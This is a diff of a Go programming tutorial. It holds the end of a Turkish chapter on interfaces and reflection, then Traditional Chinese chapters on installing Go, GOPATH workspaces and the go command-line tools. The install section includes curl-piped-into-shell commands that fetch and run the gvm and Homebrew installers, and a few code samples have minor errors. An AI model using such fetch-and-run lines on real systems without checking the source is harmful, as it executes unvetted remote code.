bu noktada Stringer uygulamasına gerek kalmaz. + +### Interface' in değişken türü + +Eğer değişken, interface'i uygulayan type'sa aynı interface'i uygulayan başka herhangi bir type'ın bu değişkene atanabileceğini biliyoruz. Soru, interface'de saklanan belirli türü nasıl bilebiliriz? +Size göstereceğim iki yol var. + +- Comma-ok pattern + +Go syntax'ına uygun olarak şöyle bir şey yapılabilir `deger, ok := element.(T)`. +Değişkenin beklediğimiz tür olup olmadığını kontrol eder; burada "değer", değişkenin değeri, "ok", boolean türünden bir değişkeni, "element" interface değişkeni ve T, yerleştirmenin türüdür . + +Element beklediğimiz türse, "ok" true, değilse false olur. + +Daha iyi anlaşılması için biraz daha örnek verelim. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + ad string + yas int +} + +func (p Person) String() string { + return "(ad: " + p.ad + " - yas: " + strconv.Itoa(p.yas) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] 'in türü int and degeri: %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] 'in string int and degeri: %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] 'in türü Person and degeri: %s\n", index, value) + } else { + fmt.Printf("list[%d] 'in bambaşka bir türü var... \n", index) + } + } +} + +``` +Bu kalıbı/pattern'i kullanmak oldukça kolaydır, ancak test etmek için birçok türümüz varsa, `switch` i kullansak iyi olur. + +- switch test + +Hadi `switch` kullanarak üstteki örneği yeniden yazalım. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + ad string + yas int +} + +func (p Person) String() string { + return "(ad: " + p.ad + " - yas: " + strconv.Itoa(p.yas) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Selam" //a string + list[2] = Person{"isik", 25} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] bir int and ve değeri %d\n", index, value) + case string: + fmt.Printf("list[%d] bir string and ve değeri %s\n", index, value) + case Person: + fmt.Printf("list[%d] bir Person and ve değeri %s\n", index, value) + default: + fmt.Println("list[%d] bambaşka bir türe(tyoe) sahip", index) + } + } +} + +``` + +Unutmamalıyız ki `element. (Type)`, `switch` gövdesinin dışında kullanılamaz, bu durumda`virgül-ok` desenini kullanmanız gerektiği anlamına gelir. +### Embedded interfaces + +Go' daki güzel şeylerden biri de structlardaki anonim alanlar gibi birçok yerleşik mantık sözdizimine sahip olmasıdır. Şaşırtıcı olmayan bir şekilde, interfaceleri anonim alanlar olarak da kullanabiliriz, ancak onlara `Gömülü(embedded) interface` diyoruz. Burada anonim alanlarla aynı kuralları uygularız. Daha spesifik olarak, bir interface'in içinde gömülü başka bir interface varsa, gömülü interface'in sahip olduğu tüm yöntemlere sahipmiş gibi davranacaktır. + +`Container / heap` içindeki kaynak kodların aşağıdaki gibi olduğunu görebiliriz: +```Go +type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop method that pops elements from the heap +} +``` +`Sort.Interface` öğesinin gömülü bir interface olduğunu görüyoruz, bu nedenle yukarıdaki Interface'de kapalı olarak "sort.Interface" içinde bulunan üç yöntem vardır. + +```Go +type Interface interface { + Len() int + Less(i, j int) bool + Swap(i, j int) +} +``` +Başka bir örneği de `io` paketi içinde bulunan`io.ReadWriter` 'de görebiliriz. +```Go +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} +``` +### Reflection(Yansıma) + +Go'daki yansıma, çalışma zamanında bilgileri belirlemek için kullanılır. `reflect` paketini, [Yansıma kuralları](http://golang.org/doc/articles/laws_of_reflection.html) yansımanın nasıl calıstıgına baktıktan sonra göreceğiz. + +Yansıtmayı kullanırken üç adım söz konusudur. İlk olarak, bir interface'i türleri yansıtacak şekilde dönüştürmeliyiz (reflect.Type veya reflect.Value bu duruma bağlıdır). + +```Go +t := reflect.TypeOf(i) // i'nin içindeki meta veriyi al ve tüm öğeleri almak için t'yi kullan +v := reflect.ValueOf(i) // type i 'nin içindeki gerçek değeri al,ve v' yi değiştirmek için değerini kullan. +``` +Bundan sonra, ihtiyaç duyduğumuz değerleri elde etmek için yansıyan türleri dönüştürebiliriz. + +```Go +var x float64 = 3.4 + +t := reflect.TypeOf(x) +v := reflect.ValueOf(x) + +fmt.Println("type:", t) +fmt.Println("value:", v) +fmt.Println("kind float64 mu?:", v.Kind() == reflect.Float64) +``` +Son olarak, yansıyan türlerin değerlerini değiştirmek istiyorsak, onu değiştirilebilir yapmamız gerekir. Daha önce tartışıldığı gibi, değere göre geçiş ile referansa göre geçiş arasında bir fark vardır. Aşağıdaki kod derlenmeyecektir. +```Go +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) +``` +Bunun yerine, yansıma türlerinden değerleri değiştirmek için aşağıdaki kodu kullanmalıyız. + +```Go +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) +``` +Yansımanın temellerini az önce tartıştık, ancak daha fazlasını anlamak için daha fazla pratik yapmalısınız. + +## Links + +- [Directory](preface.md) +- Previous section: [Nesne-Yönelim](02.5.md) +- Next section: [Eş-zamanlılık](02.7.md) diff --git a/zh-tw/01.0.md b/zh-tw/01.0.md new file mode 100644 index 000000000..7439d9bf7 --- /dev/null +++ b/zh-tw/01.0.md @@ -0,0 +1,23 @@ +# 1 GO 環境配置 + +歡迎來到 Go 的世界,讓我們開始探索吧! + +Go 是一種新的語言,一種併發的、帶垃圾回收的、快速編譯的語言。它具有以下特點: + +- 它可以在一臺計算機上用幾秒鐘的時間編譯一個大型的 Go 程式。 +- Go 為軟體構造提供了一種模型,它使依賴分析更加容易,且避免了大部分 C 風格 include 檔案與函式庫的開頭。 +- Go 是靜態型別的語言,它的型別系統沒有層級。因此使用者不需要在定義型別之間的關係上花費時間,這樣感覺起來比典型的面嚮物件語言更輕量級。 +- Go 完全是垃圾回收型的語言,併為併發執行與通訊提供了基本的支援。 +- 按照其設計,Go 打算為多核機器上系統軟體的構造提供一種方法。 + +Go 是一種編譯型語言,它結合了解釋型語言的遊刃有餘,動態型別語言的開發效率,以及靜態型別的安全性。它也打算成為現代的,支援網路與多核計算的語言。要滿足這些目標,需要解決一些語言上的問題:一個富有表達能力但輕量級的型別系統,併發與垃圾回收機制,嚴格的依賴規範等等。這些無法透過函式庫或工具解決好,因此 Go 也就應運而生了。 + +在本章中,我們將講述 Go 的安裝方法,以及如何配置專案資訊。 + +## 目錄 + +![](images/navi1.png) + +## links + * [目錄]() + * 下一節:[安裝 Go](<01.1.md>) diff --git a/zh-tw/01.1.md b/zh-tw/01.1.md new file mode 100644 index 000000000..b1ada85a5 --- /dev/null +++ b/zh-tw/01.1.md @@ -0,0 +1,206 @@ +# 1.1 安裝 Go + +## Go 的三種安裝方式 +Go 有多種安裝方式,你可以選擇自己喜歡的。這裡我們介紹三種最常見的安裝方式: + +- Go 原始碼安裝:這是一種標準的軟體安裝方式。對於經常使用 Unix 類別系統的使用者,尤其對於開發者來說,從原始碼安裝可以自己訂製。 +- Go 標準套件安裝:Go 提供了方便的安裝套件,支援 Windows、Linux、Mac 等系統。這種方式適合快速安裝,可根據自己的系統位數下載好相應的安裝套件,一路 next 就可以輕鬆安裝了。**推薦這種方式** +- 第三方工具安裝:目前有很多方便的第三方軟體套件工具,例如 Ubuntu 的 apt-get 和 wget、Mac 的 homebrew 等。這種安裝方式適合那些熟悉相應系統的使用者。 + +最後,如果你想在同一個系統中安裝多個版本的 Go,你可以參考第三方工具[GVM](https://github.com/moovweb/gvm),這是目前在這方面做得最好的工具,除非你知道怎麼處理。 + +## Go 原始碼安裝 +Go 1.5 徹底移除 C 程式碼,Runtime、Compiler、Linker 均由 Go 編寫,實現自舉。只需要安裝了上一個版本,即可從原始碼安裝。 + +在 Go 1.5 前,Go 的原始碼中,有些部分是用 Plan 9 C 和 AT&T 彙編寫的,因此假如你要想從原始碼安裝,就必須安裝 C 的編譯工具。 + +在 Mac 系統中,只要你安裝了 Xcode,就已經包含了相應的編譯工具。 + +在類別 Unix 系統中,需要安裝 gcc 等工具。例如 Ubuntu 系統可透過在終端中執行`sudo apt-get install gcc libc6-dev`來安裝編譯工具。 + +在 Windows 系統中,你需要安裝 MinGW,然後透過 MinGW 安裝 gcc,並設定相應的環境變數。 + +你可以直接去官網 [ 下載原始碼](http://golang.org/dl/),找相應的`goVERSION.src.tar.gz`的檔案下載,下載之後解壓縮到`$HOME`目錄,執行如下程式碼: + + cd go/src + ./all.bash + +執行 all.bash 後出現"ALL TESTS PASSED"字樣時才算安裝成功。 + +上面是 Unix 風格的命令,Windows 下的安裝方式類似,只不過是執行`all.bat`,呼叫的編譯器是 MinGW 的 gcc。 + +如果是 Mac 或者 Unix 使用者需要設定幾個環境變數,如果想重啟之後也能生效的話把下面的命令寫到`.bashrc`或者`.zshrc`裡面, + + export GOPATH=$HOME/gopath + export PATH=$PATH:$HOME/go/bin:$GOPATH/bin + +如果你是寫入檔案的,記得執行`bash .bashrc`或者`bash .zshrc`使得設定立馬生效。 + +如果是 window 系統,就需要設定環境變數,在 path 裡面增加相應的 go 所在的目錄,設定 gopath 變數。 + +當你設定完畢之後在命令列裡面輸入`go`,看到如下圖片即說明你已經安裝成功 + +![](images/1.1.mac.png) + +圖 1.1 原始碼安裝之後執行 Go 命令的圖 + +如果出現 Go 的 Usage 資訊,那麼說明 Go 已經安裝成功了;如果出現該命令不存在,那麼可以檢查一下自己的 PATH 環境變中是否包含了 Go 的安裝目錄。 + +從 go 1.8 開始,GOPATH 環境變數現在有一個預設值,如果它沒有被設定。 它在 Unix 上預設為$HOME/go,在 Windows 上預設為%USERPROFILE%/go。 +> 關於上面的 GOPATH 將在下面小節詳細講解 + +## Go 標準套件安裝 + +Go 提供了每個平臺一鍵安裝的選項,這些套件預設會安裝到如下目錄:/usr/local/go (Windows 系統:c:\Go),當然你可以改變他們的安裝位置,但是改變之後你必須在你的環境變數中設定如下資訊: + + export GOROOT=$HOME/go + export GOPATH=$HOME/gopath + export PATH=$PATH:$GOROOT/bin:$GOPATH/bin + +上面這些命令對於 Mac 和 Unix 使用者來說最好是寫入`.bashrc`或者`.zshrc`檔案,對於 windows 使用者來說當然是寫入環境變數。 + +### 如何判斷自己的作業系統是 32 位還是 64 位? + +我們接下來的 Go 安裝需要判斷作業系統的位數,所以這小節我們先確定自己的系統型別。 + +Windows 系統使用者請按 Win+R 執行 cmd,輸入 `systeminfo` 後 Enter,稍等片刻,會出現一些系統資訊。在“系統型別”一行中,若顯示“x64-based PC”,即為 64 位系統;若顯示“X86-based PC”,則為 32 位系統。 + +Mac 系統使用者建議直接使用 64 位的,因為 Go 所支援的 Mac OS X 版本已經不支援純 32 位處理器了。 + +Linux 系統使用者可透過在 Terminal 中執行命令`arch`(即`uname -m`)來檢視系統資訊: + +64 位系統顯示 + + x86_64 + +32 位系統顯示 + + i386 + +### Mac 安裝 + +訪問 [Golang 下載地址](https://golang.org/dl/),32 位系統下載 go1.4.2.darwin-386-osx10.8.pkg(更新的版本已無 32 位下載),64 位系統下載 go1.8.3.darwin-amd64.pkg,雙擊下載檔案,一路預設安裝點選下一步,這個時候 go 已經安裝到你的系統中,預設已經在 PATH 中增加了相應的`~/go/bin`,這個時候開啟終端,輸入`go` + +看到類似上面原始碼安裝成功的圖片說明已經安裝成功 + +如果出現 go 的 Usage 資訊,那麼說明 go 已經安裝成功了;如果出現該命令不存在,那麼可以檢查一下自己的 PATH 環境變中是否包含了 go 的安裝目錄。 + +### Linux 安裝 + +訪問 [Golang 下載地址](https://golang.org/dl/),32 位系統下載 go1.8.3.linux-386.tar.gz,64 位系統下載 go1.8.3.linux-amd64.tar.gz, + +假定你想要安裝 Go 的目錄為 `$GO_INSTALL_DIR`,後面替換為相應的目錄路徑。 + +解壓縮`tar.gz`到安裝目錄下:`tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 + +設定 PATH,`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` + +然後執行`go` + +![](images/1.1.linux.png) + +圖 1.2 Linux 系統下安裝成功之後執行 go 顯示的資訊 + +如果出現 go 的 Usage 資訊,那麼說明 go 已經安裝成功了;如果出現該命令不存在,那麼可以檢查一下自己的 PATH 環境變中是否包含了 go 的安裝目錄。 + +### Windows 安裝 ### + +訪問[Golang 下載頁](https://golang.org/dl/),32 位請選擇名稱中包含 windows-386 的 msi 安裝套件,64 位請選擇名稱中包含 windows-amd64 的。下載好後執行,不要修改預設安裝目錄 C:\Go\,若安裝到其他位置會導致不能執行自己所編寫的 Go 程式碼。安裝完成後預設會在環境變數 Path 後新增 Go 安裝目錄下的 bin 目錄 `C:\Go\bin\`,並新增環境變數 GOROOT,值為 Go 安裝根目錄 `C:\Go\` 。 + +**驗證是否安裝成功** + +在執行中輸入 `cmd` 開啟命令列工具,在提示符下輸入 `go`,檢查是否能看到 Usage 資訊。輸入 `cd %GOROOT%`,看是否能進入 Go 安裝目錄。若都成功,說明安裝成功。 + +不能的話請檢查上述環境變數 Path 和 GOROOT 的值。若不存在請解除安裝後重新安裝,存在請重啟計算機後重試以上步驟。 + +## 第三方工具安裝 + +### GVM + +gvm 是第三方開發的 Go 多版本管理工具,類似 ruby 裡面的 rvm 工具。使用起來相當的方便,安裝 gvm 使用如下命令: + +```sh +bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) +``` + +安裝完成後我們就可以安裝 go 了: + +```sh +gvm install go1.8.3 +gvm use go1.8.3 +``` + +也可以使用下面的命令,省去每次呼叫 gvm use 的麻煩: + gvm use go1.8.3 --default + +執行完上面的命令之後 GOPATH、GOROOT 等環境變數會自動設定好,這樣就可以直接使用了。 + +### apt-get +Ubuntu 是目前使用最多的 Linux 桌面系統,使用`apt-get`命令來管理軟體套件,我們可以透過下面的命令來安裝 Go,為了以後方便,應該把 `git` `mercurial` 也安裝上: + +```sh +sudo apt-get install python-software-properties +sudo add-apt-repository ppa:gophers/go +sudo apt-get update +sudo apt-get install golang-stable git-core mercurial +``` + +### wget + +```sh +wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz +sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local +``` + +配置環境變數: + +```sh +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath (可選設定) +``` + +或者使用: + +```sh +sudo vim /etc/profile +``` + +並新增下面的內容: + +```sh +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath (可選設定) +``` + +重新載入 profile 檔案 + +```sh +source /etc/profile +``` + +### homebrew +homebrew 是 Mac 系統下面目前使用最多的管理軟體的工具,目前已支援 Go,可以透過命令直接安裝 Go,為了以後方便,應該把 `git` `mercurial` 也安裝上: + +1.安裝 homebrew + +```sh +/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` + +2.安裝 go + +```sh +brew update && brew upgrade +brew install go +brew install git +brew install mercurial //可選安裝 +``` + +## links + * [目錄]() + * 上一節:[Go 環境配置](<01.0.md>) + * 下一節:[GOPATH 與工作空間](<01.2.md>) diff --git a/zh-tw/01.2.md b/zh-tw/01.2.md new file mode 100644 index 000000000..da521e0c7 --- /dev/null +++ b/zh-tw/01.2.md @@ -0,0 +1,191 @@ +# 1.2 GOPATH 與工作空間 + +前面我們在安裝 Go 的時候看到需要設定 GOPATH 變數,Go 從 1.1 版本到 1.7 必須設定這個變數,而且不能和 Go 的安裝目錄一樣,這個目錄用來存放 Go 原始碼,Go 的可執行檔案,以及相應的編譯之後的套件檔案。所以這個目錄下面有三個子目錄:src、bin、pkg + +從 go 1.8 開始,GOPATH 環境變數現在有一個預設值,如果它沒有被設定。 它在 Unix 上預設為$HOME/go,在 Windows 上預設為%USERPROFILE%/go。 +## GOPATH 設定 + go 命令依賴一個重要的環境變數:$GOPATH + + Windows 系統中環境變數的形式為`%GOPATH%`,本書主要使用 Unix 形式,Windows 使用者請自行替換。 + + *(注:這個不是 Go 安裝目錄。下面以筆者的工作目錄為範例,如果你想不一樣請把 GOPATH 替換成你的工作目錄。)* + + 在類別 Unix 環境下大概這樣設定: + +```sh +export GOPATH=/home/apple/mygo +``` + 為了方便,應該建立以上資料夾,並且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置檔案中。 + + Windows 設定如下,建立一個環境變數名稱叫做 GOPATH: + +```sh +GOPATH=c:\mygo +``` +GOPATH 允許多個目錄,當有多個目錄時,請注意分隔符,多個目錄的時候 Windows 是分號,Linux 系統是冒號,當有多個 GOPATH 時,預設會將 go get 的內容放在第一個目錄下。 + + +以上 $GOPATH 目錄約定有三個子目錄: + +- src 存放原始碼(比如:.go .c .h .s 等) +- pkg 編譯後生成的檔案(比如:.a) +- bin 編譯後生成的可執行檔案(為了方便,可以把此目錄加入到 $PATH 變數中,如果有多個 gopath,那麼使用`${GOPATH//://bin:}/bin`新增所有的 bin 目錄) + +以後我所有的例子都是以 mygo 作為我的 gopath 目錄 + + +## 程式碼目錄結構規劃 +GOPATH 下的 src 目錄就是接下來開發程式的主要目錄,所有的原始碼都是放在這個目錄下面,那麼一般我們的做法就是一個目錄一個專案,例如: $GOPATH/src/mymath 表示 mymath 這個套件或者可執行應用,這個根據 package 是 main 還是其他來決定,main 的話就是可執行應用,其他的話就是套件,這個會在後續詳細介紹 package。 + + +所以當建立應用或者一個程式碼套件時都是在 src 目錄下建立一個資料夾,資料夾名稱一般是程式碼套件名稱,當然也允許多階層目錄,例如在 src 下面建立了目錄$GOPATH/src/github.com/astaxie/beedb 那麼這個套件路徑就是"github.com/astaxie/beedb",套件名稱是最後一個目錄 beedb + + +下面我就以 mymath 為例來講述如何編寫套件,執行如下程式碼 + +```sh +cd $GOPATH/src +mkdir mymath +``` + +建立檔案 sqrt.go,內容如下 +```go +// $GOPATH/src/mymath/sqrt.go 原始碼如下: +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` +這樣我的套件目錄和程式碼已經建立完畢,注意:一般建議 package 的名稱和目錄名保持一致 + +## 編譯應用 +上面我們已經建立了自己的套件,如何進行編譯安裝呢?有兩種方式可以進行安裝 + +1、只要進入對應的套件目錄,然後執行`go install`,就可以安裝了 + +2、在任意的目錄執行如下程式碼`go install mymath` + +安裝完之後,我們可以進入如下目錄 + +```sh +cd $GOPATH/pkg/${GOOS}_${GOARCH} +//可以看到如下檔案 +mymath.a +``` +這個.a 檔案是套件,那麼我們如何進行呼叫呢? + +接下來我們建立一個應用程式來呼叫這個套件 + +建立套件 mathapp + +```sh +cd $GOPATH/src +mkdir mathapp +cd mathapp +vim main.go +``` + +`$GOPATH/src/mathapp/main.go`原始碼: +```go +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` + +可以看到這個的 package 是`main`,import 裡面呼叫的套件是`mymath`,這個就是相對於`$GOPATH/src`的路徑,如果是多階層目錄,就在 import 裡面引入多階層目錄,如果你有多個 GOPATH,也是一樣,Go 會自動在多個`$GOPATH/src`中尋找。 + +如何編譯程式呢?進入該應用目錄,然後執行`go build`,那麼在該目錄下面會產生一個 mathapp 的可執行檔案 + +```sh +./mathapp +``` + +輸出如下內容 + +```sh +Hello, world. Sqrt(2) = 1.414213562373095 +``` + +如何安裝該應用,進入該目錄執行`go install`,那麼在$GOPATH/bin/下增加了一個可執行檔案 mathapp, 還記得前面我們把`$GOPATH/bin`加到我們的 PATH 裡面了,這樣可以在命令列輸入如下命令就可以執行 + +```sh +mathapp +``` + +也是輸出如下內容 + + Hello, world. Sqrt(2) = 1.414213562373095 + +這裡我們展示如何編譯和安裝一個可執行的應用,以及如何設計我們的目錄結構。 + +## 取得遠端套件 + + go 語言有一個取得遠端套件的工具就是`go get`,目前 go get 支援多數開源社群(例如:GitHub、googlecode、bitbucket、Launchpad) + + go get github.com/astaxie/beedb + +>go get -u 參數可以自動更新套件,而且當 go get 的時候會自動取得該套件依賴的其他第三方套件 + + +透過這個命令可以取得相應的原始碼,對應的開源平臺採用不同的原始碼控制工具,例如 GitHub 採用 git、googlecode 採用 hg,所以要想取得這些原始碼,必須先安裝相應的原始碼控制工具 + +透過上面取得的程式碼在我們本地的原始碼相應的程式碼結構如下 + + $GOPATH + src + |--github.com + |-astaxie + |-beedb + pkg + |--相應平臺 + |-github.com + |--astaxie + |beedb.a + +go get 本質上可以理解為首先第一步是透過原始碼工具 clone 程式碼到 src 下面,然後執行`go install` + +在程式碼中如何使用遠端套件,很簡單的就是和使用本地套件一樣,只要在開頭 import 相應的路徑就可以 + + import "github.com/astaxie/beedb" + +## 程式的整體結構 +透過上面建立的我本地的 mygo 的目錄結構如下所示 + + bin/ + mathapp + pkg/ + 平臺名/ 如:darwin_amd64、linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +從上面的結構我們可以很清晰的看到,bin 目錄下面存的是編譯之後可執行的檔案,pkg 下面存放的是套件,src 下面儲存的是應用原始碼 + + +## links + * [目錄]() + * 上一節:[安裝 Go](<01.1.md>) + * 下一節:[GO 命令](<01.3.md>) diff --git a/zh-tw/01.3.md b/zh-tw/01.3.md new file mode 100644 index 000000000..3d3578d6c --- /dev/null +++ b/zh-tw/01.3.md @@ -0,0 +1,211 @@ +# 1.3 Go 命令 + +## Go 命令 + + Go 語言自帶有一套完整的命令列工具,你可以透過在命令列中執行 `go` 來檢視它們: + + ![](images/1.1.mac.png) + +圖 1.3 Go 命令顯示詳細的資訊 + + 這些命令對於我們平時編寫的程式碼非常有用,接下來就讓我們了解一些常用的命令。 + +## go build + + 這個命令主要用於編譯程式碼。在套件的編譯過程中,若有必要,會同時編譯與之相關聯的套件。 + + - 如果是普通套件,就像我們在 1.2 節中編寫的 `mymath` 套件那樣,當你執行`go build`之後,它不會產生任何檔案。如果你需要在`$GOPATH/pkg`下產生相應的檔案,那就得執行`go install`。 + + - 如果是 `main` 套件,當你執行`go build`之後,它就會在當前目錄下產生一個可執行檔案。如果你需要在`$GOPATH/bin`下產生相應的檔案,需要執行`go install`,或者使用`go build -o 路徑/a.exe`。 + + - 如果某個專案資料夾下有多個檔案,而你只想編譯某個檔案,就可在`go build`之後加上檔名,例如`go build a.go`;`go build`命令預設會編譯當前目錄下的所有 go 檔案。 + + - 你也可以指定編譯輸出的檔名。例如 1.2 節中的 `mathapp` 應用,我們可以指定`go build -o astaxie.exe`,預設情況是你的 package 名(非 main 套件),或者是第一個原始檔的檔名(main 套件)。 + + (注:實際上,package 名在 [Go 語言規範](https://golang.org/ref/spec)中指程式碼中“package”後使用的名稱,此名稱可以與資料夾名不同。預設產生的可執行檔名是資料夾名。) + + - go build 會忽略目錄下以“_”或“.”開頭的 go 檔案。 + + - 如果你的原始碼針對不同的作業系統需要不同的處理,那麼你可以根據不同的作業系統字尾來命名檔案。例如有一個讀取陣列的程式,它對於不同的作業系統可能有如下幾個原始檔: + + array_linux.go + array_darwin.go + array_windows.go + array_freebsd.go + + `go build`的時候會選擇性地編譯以系統名結尾的檔案(Linux、Darwin、Windows、Freebsd)。例如 Linux 系統下面編譯只會選擇 array_linux.go 檔案,其它系統命名字尾檔案全部忽略。 + +參數的介紹 + +- `-o` 指定輸出的檔名,可以帶上路徑,例如 `go build -o a/b/c` +- `-i` 安裝相應的套件,編譯+`go install` +- `-a` 更新全部已經是最新的套件的,但是對標準套件不適用 +- `-n` 把需要執行的編譯命令顯示出來,但是不執行,這樣就可以很容易的知道底層是如何執行的 +- `-p n` 指定可以並行可執行的編譯數目,預設是 CPU 數目 +- `-race` 開啟編譯的時候自動檢測資料競爭的情況,目前只支援 64 位的機器 +- `-v` 顯示出來我們正在編譯的套件名 +- `-work` 顯示出來編譯時候的臨時資料夾名稱,並且如果已經存在的話就不要刪除 +- `-x` 顯示出來執行的命令,其實就是和`-n`的結果類似,只是這個會執行 +- `-ccflags 'arg list'` 傳遞參數給 5c, 6c, 8c 呼叫 +- `-compiler name` 指定相應的編譯器,gccgo 還是 gc + +- `-gccgoflags 'arg list'` 傳遞參數給 gccgo 編譯連線呼叫 +- `-gcflags 'arg list'` 傳遞參數給 5g, 6g, 8g 呼叫 +- `-installsuffix suffix` 為了和預設的安裝套件區別開來,採用這個字首來重新安裝那些依賴的套件,`-race`的時候預設已經是`-installsuffix race`,大家可以透過`-n`命令來驗證 +- `-ldflags 'flag list'` 傳遞參數給 5l, 6l, 8l 呼叫 +- `-tags 'tag list'` 設定在編譯的時候可以適配的那些 tag,詳細的 tag 限制參考裡面的 [Build Constraints](http://golang.org/pkg/go/build/) + +## go clean + + 這個命令是用來移除當前原始碼套件和關聯原始碼套件裡面編譯產生的檔案。這些檔案包括 + + _obj/ 舊的 object 目錄,由 Makefiles 遺留 + _test/ 舊的 test 目錄,由 Makefiles 遺留 + _testmain.go 舊的 gotest 檔案,由 Makefiles 遺留 + test.out 舊的 test 記錄,由 Makefiles 遺留 + build.out 舊的 test 記錄,由 Makefiles 遺留 + *.[568ao] object 檔案,由 Makefiles 遺留 + + DIR(.exe) 由 go build 產生 + DIR.test(.exe) 由 go test -c 產生 + MAINFILE(.exe) 由 go build MAINFILE.go 產生 + *.so 由 SWIG 產生 + + 我一般都是利用這個命令清除編譯檔案,然後 GitHub 提交原始碼,在本機測試的時候這些編譯檔案都是和系統相關的,但是對於原始碼管理來說沒必要。 + + $ go clean -i -n + cd /Users/astaxie/develop/gopath/src/mathapp + rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe + rm -f /Users/astaxie/develop/gopath/bin/mathapp + +參數介紹 + +- `-i` 清除關聯的安裝的套件和可執行檔案,也就是透過 go install 安裝的檔案 +- `-n` 把需要執行的清除命令顯示出來,但是不執行,這樣就可以很容易的知道底層是如何執行的 +- `-r` 迴圈的清除在 import 中引入的套件 + +- `-x` 顯示出來執行的詳細命令,其實就是`-n`列印的執行版本 + +## go fmt + + 有過 C/C++經驗的讀者會知道,一些人經常為程式碼採取 K&R 風格還是 ANSI 風格而爭論不休。在 go 中,程式碼則有標準的風格。由於之前已經有的一些習慣或其它的原因我們常將程式碼寫成 ANSI 風格或者其它更合適自己的格式,這將為人們在閱讀別人的程式碼時新增不必要的負擔,所以 go 強制了程式碼格式(比如左大括號必須放在行尾),不按照此格式的程式碼將不能編譯透過,為了減少浪費在排版上的時間,go 工具集中提供了一個`go fmt`命令 它可以幫你格式化你寫好的程式碼檔案,使你寫程式碼的時候不需要關心格式,你只需要在寫完之後執行`go fmt <檔名>.go`,你的程式碼就被修改成了標準格式,但是我平常很少用到這個命令,因為開發工具裡面一般都帶了儲存時候自動格式化功能,這個功能其實在底層就是呼叫了`go fmt`。接下來的一節我將講述兩個工具,這兩個工具都自帶了儲存檔案時自動化`go fmt`功能。 + +使用 go fmt 命令,其實是呼叫了 gofmt,而且需要參數-w,否則格式化結果不會寫入檔案。gofmt -w -l src,可以格式化整個專案。 + +所以 go fmt 是 gofmt 的上層一個封裝命令,如果想要更多的自訂格式化,可以參考 [gofmt](http://golang.org/cmd/gofmt/) + +gofmt 的參數介紹 + +- `-l` 顯示那些需要格式化的檔案 +- `-w` 把改寫後的內容直接寫入到檔案中,而不是作為結果列印到標準輸出。 +- `-r` 新增形如“a[b:len(a)] -> a[b:]”的重寫規則,方便我們做批量替換 +- `-s` 簡化檔案中的程式碼 +- `-d` 顯示格式化前後的 diff 而不是寫入檔案,預設是 false + +- `-e` 列印所有的語法錯誤到標準輸出。如果不使用此標記,則只會列印不同行的前 10 個錯誤。 +- `-cpuprofile` 支援除錯模式,寫入相應的 cpufile 到指定的檔案 + +## go get + + 這個命令是用來動態取得遠端程式碼套件的,目前支援的有 BitBucket、GitHub、Google Code 和 Launchpad。這個命令在內部實際上分成了兩步操作:第一步是下載原始碼套件,第二步是執行`go install`。下載原始碼套件的 go 工具會自動根據不同的域名呼叫不同的原始碼工具,對應關係如下: + + BitBucket (Mercurial Git) + GitHub (Git) + Google Code Project Hosting (Git, Mercurial, Subversion) + Launchpad (Bazaar) + + 所以為了`go get` 能正常工作,你必須確保安裝了合適的原始碼管理工具,並同時把這些命令加入你的 PATH 中。其實`go get`支援自訂域名的功能,具體參見`go help remote`。 + +參數介紹: + +- `-d` 只下載不安裝 +- `-f` 只有在你包含了`-u`參數的時候才有效,不讓`-u`去驗證 import 中的每一個都已經取得了,這對於本地 fork 的套件特別有用 +- `-fix` 在取得原始碼之後先執行 fix,然後再去做其他的事情 +- `-t` 同時也下載需要為執行測試所需要的套件 + +- `-u` 強制使用網路去更新套件和它的相依套件 +- `-v` 顯示執行的命令 + +## go install + + 這個命令在內部實際上分成了兩步操作:第一步是產生結果檔案(可執行檔案或者.a 套件),第二步會把編譯好的結果移到`$GOPATH/pkg`或者`$GOPATH/bin`。 + +參數支援`go build`的編譯參數。大家只要記住一個參數`-v`就好了,這個隨時隨地的可以檢視底層的執行資訊。 + +## go test + + 執行這個命令,會自動讀取原始碼目錄下面名為`*_test.go`的檔案,產生並執行測試用的可執行檔案。輸出的資訊類似 + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + + 預設的情況下,不需要任何的參數,它會自動把你原始碼套件下面所有 